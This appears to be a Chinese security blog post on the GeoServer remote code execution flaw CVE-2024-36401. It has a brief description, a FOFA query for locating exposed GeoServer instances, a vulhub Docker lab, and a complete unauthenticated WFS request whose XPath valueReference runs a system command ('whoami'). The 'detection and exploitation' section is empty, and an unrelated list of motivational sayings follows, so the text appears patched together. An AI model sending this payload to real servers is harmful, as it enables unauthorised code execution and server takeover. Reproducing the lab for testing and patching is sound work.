GeoServer 远程代码执行漏洞(CVE-2024-36401)
GeoServer 远程代码执行漏洞(CVE-2024-36401)
原创 SXdysq 南街老友 2024-07-03 23:26
漏洞简介
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。
网络测绘
FOFA:app="GeoServer"
环境搭建
#docker-compose.yml文件
version: '3'
services:
web:
image: vulhub/geoserver:2.23.2
ports:
- "8080:8080"
- "5005:5005"
docker compose up -d
漏洞Poc
POST /geoserver/wfs HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/xml
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'whoami')</wfs:valueReference>
</wfs:GetPropertyValue>
漏洞检测与利用
🍻🍻🍻🍻🍻🍻
1. 拥抱挑战:每一次的困难都是你成长的机会,只要你勇敢面对,终将会迎来曙光。
-
相信自己:无论身处何种境地,记住你比你想象中更坚强、更有潜力。
-
坚持梦想:梦想是指引你前行的灯塔,尽管道路坎坷,追寻的过程会让你变得更强大。
-
珍惜当下:生活中的每一个瞬间都是独一无二的礼物,享受现在,活在当下。
-
不断学习:知识是你通往成功的钥匙,终身学习不仅丰富了你的思想,也开拓了你的视野。
-
善待自己:你是最值得爱护的人,善待自己,给自己多一点耐心和关怀。
-
传播善意:一句温暖的话语,一个友善的举动,能够点亮他人的一天,也能让你感受到无尽的温暖。
-
拥抱变化:变化是生活的一部分,学会适应和迎接变化,你会发现生活充满了新的可能性。
-
感恩生活:感恩所拥有的一切,无论好坏,都是人生的一部分,教会你成长和成熟。
-
勇敢追梦:不要因为恐惧而退缩,勇敢追逐你的梦想,因为梦想成真的那一天,一切付出都会变得值得。